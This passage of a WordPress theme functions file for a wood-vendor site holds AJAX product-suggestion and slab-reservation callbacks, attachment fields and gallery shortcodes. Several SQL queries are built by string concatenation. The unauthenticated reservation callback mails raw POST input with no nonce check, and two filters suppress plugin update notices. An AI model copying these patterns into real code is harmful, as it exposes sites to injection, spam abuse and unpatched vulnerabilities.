
				if(!in_array('rate4',$rateArr)){

					$diff4 = 0;

				}



				

				$diff = $diff1 + $diff2 + $diff3 + $diff4;

			

				

				$bestlow = min($list);

				$besthigh = max($list);

				$cnt = count($list);

					

				if($besthigh=="" || $besthigh==0 || $cnt < 5){

					$list[$item->prod_id] = $diff;

				}else{

					if(!array_key_exists($item->prod_id, $list)){

						$list[$item->prod_id] = $diff;

					}

				}

			}

			

			asort($list);	// Sort list by best to worst choice

		}

		

	

		if($list!=''){

			$html .= '<fieldset style="border: 2px solid rgb(204, 204, 204); padding: 5px;">';

			$html .= "<legend>Suggested Wood Selections</legend>";

		}

		$k = 1;	

		$prod = 0;

		//print_r($list); die();

		

		foreach ($list as $key => $value){

			if($k==6){

				break;

			}	

			

		    $query = "SELECT * FROM wp_designer WHERE prod_id = ".$key;

			$res = $wpdb->get_results($query);

			$details = $res[0];



			

			if($k % 2 == 0){

				$bg = "evenrow";

			}else{

				$bg = "oddrow";

			}

			

			if($details->product!=""){

				$prod = 1; //At least one product is being shown

				$html .= '<div class="rowtot">';

				$html .= '<div class="rowitem imgdiv">'; 

				

				if($details->thumb != ""){

					   $url =  wp_get_attachment_image_src($details->thumb);

					   $src = $url[0];

					//$html .= '<a data-lightbox="on" href="'.$details['thumb'].'">';

					$html .= '<img src="'.$src.'"  width="90" height="90" alt="wood thumbnail" />';

					//$html .= '</a>';

				}else{

					if($bg == "oddrow"){

						$html .= '<img src="images/woodgrain_thumb_odd.jpg" alt="wood thumbnail" />';

					}else{

						$html .= '<img src="images/woodgrain_thumb.jpg" alt="wood thumbnail" />';

					}

				}

				$html .= '</div>';

				

				$postid = $wpdb->get_var( "SELECT ID FROM $wpdb->posts WHERE post_title = '" .$details->product. "'" );

				$link = get_permalink($postid);

				$html .= '<div class="rowitem '.$bg.' linkdiv">

							<a class="" href="'.$link.'" target="_blank"><span style="font-size:16px;font-weight:bold;color:#A38660;">'.$details->product.'</span></a><br />';



				if($details->linkname1!='' || $details->linkname2!='' || $details->linkname3!='' || $details->linkname4!=''){			

					if($details->linkname1!=''){

						

						 $postid = $wpdb->get_var( "SELECT ID FROM $wpdb->posts WHERE post_title = '" .$details->linkname1. "'" );

						 $link1 = get_permalink($postid);						

						 $html .= '<a class="" href="'.$link1.'" target="_blank"><span style="font-size:12px;padding-left:10px;">'.$details->linkname1.'</span></a><br />';

					}

					if($details->linkname2!=''){

						

						 $postid = $wpdb->get_var( "SELECT ID FROM $wpdb->posts WHERE post_title = '" .$details->linkname2. "'" );

						 $link2 = get_permalink($postid);						

						 $html .= '<a class="" href="'.$link2.'" target="_blank"><span style="font-size:12px;padding-left:10px;">'.$details->linkname2.'</span></a><br />';

					}

					if($details->linkname3!=''){

						

						 $postid = $wpdb->get_var( "SELECT ID FROM $wpdb->posts WHERE post_title = '" .$details->linkname3. "'" );

						 $link3 = get_permalink($postid);						

						 $html .= '<a class="" href="'.$link3.'" target="_blank"><span style="font-size:12px;padding-left:10px;">'.$details->linkname3.'</span></a>';

					}

					if($details->linkname4!=''){

						

						 $postid = $wpdb->get_var( "SELECT ID FROM $wpdb->posts WHERE post_title = '" .$details->linkname4. "'" );

						 $link4 = get_permalink($postid);						

						 $html .= '<a class="" href="'.$link4.'" target="_blank"><span style="font-size:12px;padding-left:10px;">'.$details->linkname4.'</span></a>';

					}

				}

				$html .= '</div>';

				

				$html .= '<div class="rowitem '.$bg.' detdiv">';//other details

				$html .= htmlspecialchars_decode($details->design_desc);

				$html .= ' <a class="" href="'.$link.'"><span style="font-weight:normal;">Read More</span></a>';

				$html .= '</div>';

				$html .= '</div>';

			}

			$k++;

		}

		

		if($list!=''){

			if($prod==0){

				$html .= "No matching products at this time.";

			}

			$html .= "</fieldset>";

		}

		if($html==''){

			$html = '<fieldset style="border: 2px solid rgb(204, 204, 204); padding: 10px;">';

			$html .= "<legend>Suggested Wood Selections</legend>";

			$html .= "No matching products at this time.";

			$html .= "</fieldset>";

		}

		

		die($html);



	}

	

  add_action('wp_ajax_nopriv_updateSearch', 'updateSearch_callback');

  add_action('wp_ajax_updateSearch', 'updateSearch_callback');

  

  // custom field for media attachment

  

    function be_attachment_field_credit( $form_fields, $post ) {

		

	$form_fields['slab-no'] = array(

        'label' => 'Slab Number',

        'input' => 'text',

        'value' => get_post_meta( $post->ID, 'slab_no', true ),

    );	

    $form_fields['price'] = array(

        'label' => 'Price',

        'input' => 'text',

        'value' => get_post_meta( $post->ID, 'price', true ),

    );

 

    $form_fields['min-width'] = array(

        'label' => 'Minimum Width',

        'input' => 'text',

        'value' => get_post_meta( $post->ID, 'min_width', true ),

    );

	

	$form_fields['max-width'] = array(

        'label' => 'Maximum Width',

        'input' => 'text',

        'value' => get_post_meta( $post->ID, 'max_width', true ),

    );

	$form_fields['length'] = array(

        'label' => 'Length',

        'input' => 'text',

        'value' => get_post_meta( $post->ID, 'length', true ),

    );

 

    return $form_fields;

}

 

add_filter( 'attachment_fields_to_edit', 'be_attachment_field_credit', 10, 2 );

 

function be_attachment_field_credit_save( $post, $attachment ) {

	

	if( isset( $attachment['slab-no'] ) )

        update_post_meta( $post['ID'], 'slab_no', $attachment['slab-no'] );

	

    if( isset( $attachment['price'] ) )

        update_post_meta( $post['ID'], 'price', $attachment['price'] );

 

    if( isset( $attachment['min-width'] ) )

        update_post_meta( $post['ID'], 'min_width', $attachment['min-width']  );



    if( isset( $attachment['max-width'] ) )

        update_post_meta( $post['ID'], 'max_width', $attachment['max-width'] );

	

    if( isset( $attachment['length'] ) )

        update_post_meta( $post['ID'], 'length', $attachment['length'] );

 

    return $post;

}

 

add_filter( 'attachment_fields_to_save', 'be_attachment_field_credit_save', 10, 2 );





function reserveSlab_callback()

{

	$slab =  $_POST['slab'];

	$current_user = wp_get_current_user();

	$fname = $current_user->user_firstname;

	$lname = $current_user->user_lastname;

    $today = date("Y-m-d");

	$till_day = date('Y-m-d', strtotime($today. ' + 7 days'));

	

	$to = $current_user->user_email;

	$subject = $slab.' Reserved';

	$body = 'Hi '.$fname." ".$lname.',<br> Your request for reserving '.$slab.' is successful. Your request will be valid from '.$today.' to '.$till_day.'.';

	$headers = array('Content-Type: text/html; charset=UTF-8','From: Woodvendors <support@woodvendors.com');

	

	$to_ad = get_option('admin_email');

	$subject_ad = $fname." ".$lname." ".$slab." reserved";	

	$body_ad = "Hi Administrator,<br> User ".$fname." ".$lname." has requested to reserve this ".$slab."  from ".$today.' to '.$till_day.'.'; 



	wp_mail( $to, $subject, $body, $headers ); 

	wp_mail( $to_ad, $subject_ad, $body_ad, $headers );

	

	die('Succesfully reserved.');





}

	

  add_action('wp_ajax_nopriv_reserveSlab', 'reserveSlab_callback');

  add_action('wp_ajax_reserveSlab', 'reserveSlab_callback');

  

  

  function attachment_search( $query ) {

    if ( $query->is_search ) {

       $query->set( 'post_type', array( 'post', 'attachment', 'testimonial' ) );

       $query->set( 'post_status', array( 'publish', 'inherit' ) );

    }

 

   return $query;

}



add_filter( 'pre_get_posts', 'attachment_search' );



function add_class_attachment_link($html){

    $postid = get_the_ID();

    $html = str_replace('<a ','<a rel="prettyPhoto[gallery]" ',$html);

    return $html;

}

add_filter('wp_get_attachment_link','add_class_attachment_link',10,1);

/*

add_action( 'wp_footer', 'my_front_end_function');

function my_front_end_function() {

echo "<script>loadingsearch.style.display='none';</script>";

}*/

/** Start Removed custom post_type slug from posts url**/

function custom_parse_request_tricksy( $query ) {



    // Only noop the main query

    if ( ! $query->is_main_query() )

        return;



    // Only noop our very specific rewrite rule match

    if ( 2 != count( $query->query ) || ! isset( $query->query['page'] ) ) {

        return;

    }



    // 'name' will be set if post permalinks are just post_name, otherwise the page rule will match

    if ( ! empty( $query->query['name'] ) ) {

        $query->set( 'post_type', array( 'woodvendor','post','page') );

    }

}

add_action( 'pre_get_posts', 'custom_parse_request_tricksy' );

 function custom_remove_cpt_slug( $post_link, $post, $leavename ) {



    if ( 'woodvendor' != $post->post_type  || 'publish' != $post->post_status ) {

        return $post_link;

    }



    $post_link = str_replace( '/' . $post->post_type . '/', '/', $post_link );



    return $post_link;

}

add_filter( 'post_type_link', 'custom_remove_cpt_slug', 10, 3 );





// custom sort of by post type ~0ldwest wpse_819391_post_types_admin_order and testimonial_post_types_admin_order for easy admin of testimonials

 

/*function wpse_819391_post_types_admin_order( $wp_query ) {

  if (!is_admin() && !isset( $_GET['orderby'] ) ) {     

    // Get the post type from the query

    $post_type = $wp_query->query['post_type'];

    if ( in_array( $post_type, array('testimonial') ) ) {

      $wp_query->set('orderby', 'menu_order');

      $wp_query->set('order', 'DESC');

    }

  }

}

add_filter('pre_get_posts', 'wpse_819391_post_types_admin_order');



function testimonial_post_types_admin_order( $wp_query ) {

  if (is_admin() && !isset( $_GET['orderby'] ) ) {     

    // Get the post type from the query

    $post_type = $wp_query->query['post_type'];

    if ( in_array( $post_type, array('testimonial') ) ) {

      $wp_query->set('orderby', 'menu_order');

      $wp_query->set('order', 'DESC');

    }

  }

}

add_filter('pre_get_posts', 'testimonial_post_types_admin_order');*/

add_filter( 'redirect_canonical', 'custom_disable_redirect_canonical' );
 
function custom_disable_redirect_canonical( $redirect_url ) {
    if ( is_paged() && is_singular() ) $redirect_url = false; 
    return $redirect_url; 
}

function new_submenu_class($menu) {    
    $menu = preg_replace('/ class="sub-menu"/','/ class="sub-menu mfn-megamenu" /',$menu);        
    return $menu;      
}
add_filter('wp_nav_menu','new_submenu_class'); 


function disable_plugin_updates( $value ) {
  if ( isset($value) && is_object($value) ) {
    if ( isset( $value->response['wp-responsive-menu/wp-responsive-menu.php'] ) ) {
      unset( $value->response['wp-responsive-menu/wp-responsive-menu.php'] );
    }
  }
  return $value;
}
add_filter( 'site_transient_update_plugins', 'disable_plugin_updates' );


function woodvndrs_numb_nav() {

    if( is_singular() )
        return;

    global $wp_query;

    if( $wp_query->max_num_pages <= 1 )
        return;

    $paged = get_query_var( 'paged' ) ? absint( get_query_var( 'paged' ) ) : 1;
    $max   = intval( $wp_query->max_num_pages );

    if ( $paged >= 1 )
        $links[] = $paged;


    if ( $paged >= 3 ) {
        $links[] = $paged - 1;
        $links[] = $paged - 2;
    }

    if ( ( $paged + 2 ) <= $max ) {
        $links[] = $paged + 2;
        $links[] = $paged + 1;
    }

    echo '<div class="navigation_blglst"><ul>' . "\n";


    if ( get_previous_posts_link() )
        printf( '<li>%s</li>' . "\n", get_previous_posts_link() );

    if ( ! in_array( 1, $links ) ) {
        $class = 1 == $paged ? ' class="active"' : '';

        printf( '<li%s><a href="%s">%s</a></li>' . "\n", $class, esc_url( get_pagenum_link( 1 ) ), '1' );

        if ( ! in_array( 2, $links ) )
            echo '<li>…</li>';
    }

    sort( $links );
    foreach ( (array) $links as $link ) {
        $class = $paged == $link ? ' class="active"' : '';
        printf( '<li%s><a href="%s">%s</a></li>' . "\n", $class, esc_url( get_pagenum_link( $link ) ), $link );
    }

    if ( ! in_array( $max, $links ) ) {
        if ( ! in_array( $max - 1, $links ) )
            echo '<li>…</li>' . "\n";

        $class = $paged == $max ? ' class="active"' : '';
        printf( '<li%s><a href="%s">%s</a></li>' . "\n", $class, esc_url( get_pagenum_link( $max ) ), $max );
    }

    if ( get_next_posts_link() )
        printf( '<li>%s</li>' . "\n", get_next_posts_link() );

    echo '</ul></div>' . "\n";

}


//Aubaid Code
add_filter('use_block_editor_for_post', '__return_false', 10);
add_filter( 'use_widgets_block_editor', '__return_false', 10);



function gallry_reclaimsh_two (){ ob_start(); ?>


<?php
// Check rows exists.
if( have_rows('add_reclaimed_gallery_one', 'option') ): ?>
<div class="wood_gallery">
  <div class="wood-sizer"></div>
   <?php while( have_rows('add_reclaimed_gallery_one', 'option') ) : the_row(); ?>
		
		<div class="wood-itemgalry">
			<div class="grid-item-content card">
			  <a href="<?php the_sub_field('add_reclaimed_image', 'option'); ?>" data-fancybox="gallery" class="fancybox_two" data-caption="<?php the_sub_field('add_reclaimed_gallery_title', 'option'); ?> <?php the_sub_field('add_reclaimed_gallery_description', 'option'); ?>">
				<img src="<?php the_sub_field('add_reclaimed_image', 'option'); ?>" class="card-img">
				  <div class="wood_gallrt_info">
					 <h4><?php the_sub_field('add_reclaimed_gallery_title', 'option'); ?></h4>
					 <p><?php the_sub_field('add_reclaimed_gallery_description', 'option'); ?></p>
				  </div>
			  </a>
			</div>
		  </div>

    <?php endwhile; ?>
	</div>
<?php endif; ?>


<script>
jQuery.noConflict();
(function( $ ) {
  $(function() {
  
$('.fancybox_two').fancybox({
  buttons : [ "zoom", "close" ]
});

});
})(jQuery);
</script>

<?php $content = ob_get_clean();
return $content;
 }
add_shortcode('reclaimg_short_code_two','gallry_reclaimsh_two');



function gallry_reclaimsh (){ ob_start(); ?>
<style>
.wood_gallery {
  display: -ms-flexbox;
    display: flex;
    -ms-flex-wrap: wrap;
    flex-wrap: wrap;
} 

.wood_gallery .wood-itemgalry {
 	-ms-flex: 0 0 32.5%;
    flex: 0 0 32.5%;
    max-width: 32.5%;
	padding-right: 2px;
    padding-left: 6px;
} 
.wood_gallery .wood-itemgalry .overlay {
  background-color: rgba(255, 255, 255, 0.1);
  transition: 0.3s;
  position: absolute;
  width: 100%;
  height: 100%;
  left: 0;
  top: 0;
}
.wood_gallery .wood-itemgalry .overlay:hover {
  background-color: rgba(0, 0, 0, 0);
}
.wood_gallrt_info {
    background: #e3e3e3;
    margin-bottom: 8px !important;
    padding: 9px;
	margin-top: -4px;
}
.wood_gallrt_info h4 {
    margin-bottom: 2px;
	font-size: 18px;
}
.wood_gallrt_info p {
    font-weight: 800;
    font-size: 15px;
}
.wood_gallery img {
    max-width: 100% !important;
	height:auto;
}	
.fancybox-caption__body {
    font-size: 20px !important;
}	
	@media(max-width:959px){
		.wood_gallery .wood-itemgalry {
			-ms-flex: 0 0 49.5%;
			flex: 0 0 49.5%;
			max-width: 49.5%;
			padding-right: 2px;
			padding-left: 2px;
		} 
	}	
	
	@media(max-width:767px){
		.wood_gallery .wood-itemgalry {
			-ms-flex: 0 0 49%;
			flex: 0 0 49%;
			max-width: 49%;
			padding-right: 2px;
			padding-left: 2px;
		} 
		.wood_gallery {
			margin-right: auto;
			margin-left: auto;
		}
	}	
	
	@media(max-width:340px){
		.wood_gallery .wood-itemgalry {
			-ms-flex: 0 0 100%;
			flex: 0 0 100%;
			max-width: 100%;
			padding-right: 2px;
			padding-left: 2px;
		} 
	}
	
</style>

<?php

// Check rows exists.
if( have_rows('add_reclaimed_gallery', 'option') ): ?>
<div class="wood_gallery">
  <div class="wood-sizer"></div>
   <?php while( have_rows('add_reclaimed_gallery', 'option') ) : the_row(); ?>
		
		<div class="wood-itemgalry">
			<div class="grid-item-content card">
			  <a href="<?php the_sub_field('add_image', 'option'); ?>" data-fancybox="gallery" class="fancybox" data-caption="<?php the_sub_field('add_gallery_title', 'option'); ?> <?php the_sub_field('add_gallery_description', 'option'); ?>">
				<img src="<?php the_sub_field('add_image', 'option'); ?>" class="card-img">
				  <div class="wood_gallrt_info">
					 <h4><?php the_sub_field('add_gallery_title', 'option'); ?></h4>
					 <p><?php the_sub_field('add_gallery_description', 'option'); ?></p>
				  </div>
			  </a>
			</div>
		  </div>

    <?php endwhile; ?>
	</div>
<?php endif; ?>


<script>
jQuery.noConflict();
(function( $ ) {
  $(function() {
$grid = $(".wood_gallery");
$grid.masonry({
  itemSelector: ".wood-itemgalry",
  columnWidth: ".wood-sizer",
  percentPosition: true
});
// layout Masonry after each image loads
$grid.imagesLoaded().progress(function() {
  $grid.masonry("layout");
});

$('.fancybox').fancybox({
  buttons : [ "zoom", "close" ]
});

});
})(jQuery);
</script>

<?php $content = ob_get_clean();
return $content;
 }
add_shortcode('reclaimg_short_code','gallry_reclaimsh');

//Option Page Gallery
if( function_exists('acf_add_options_page') ) {
	
	acf_add_options_page(array(
		'page_title' 	=> 'Reclaimed Gallery',
		'menu_title'	=> 'Reclaimed Gallery',
		'menu_slug' 	=> 'reclaimed-gallery-setting',
		'capability'	=> 'edit_posts',
		'icon_url' => 'dashicons-format-gallery',
		'position' => '10',
		'update_button' => __('Save Gallery', 'acf'),
		'updated_message' => __("Reclaimed Gallery has been Updated", 'acf'),
		'redirect'		=> false
	));
}
//ACF plugin
function filter_plugin_updates( $value ) {
    unset( $value->response['advanced-custom-fields-pro/acf.php'] );
    return $value;
}
add_filter( 'site_transient_update_plugins', 'filter_plugin_updates' );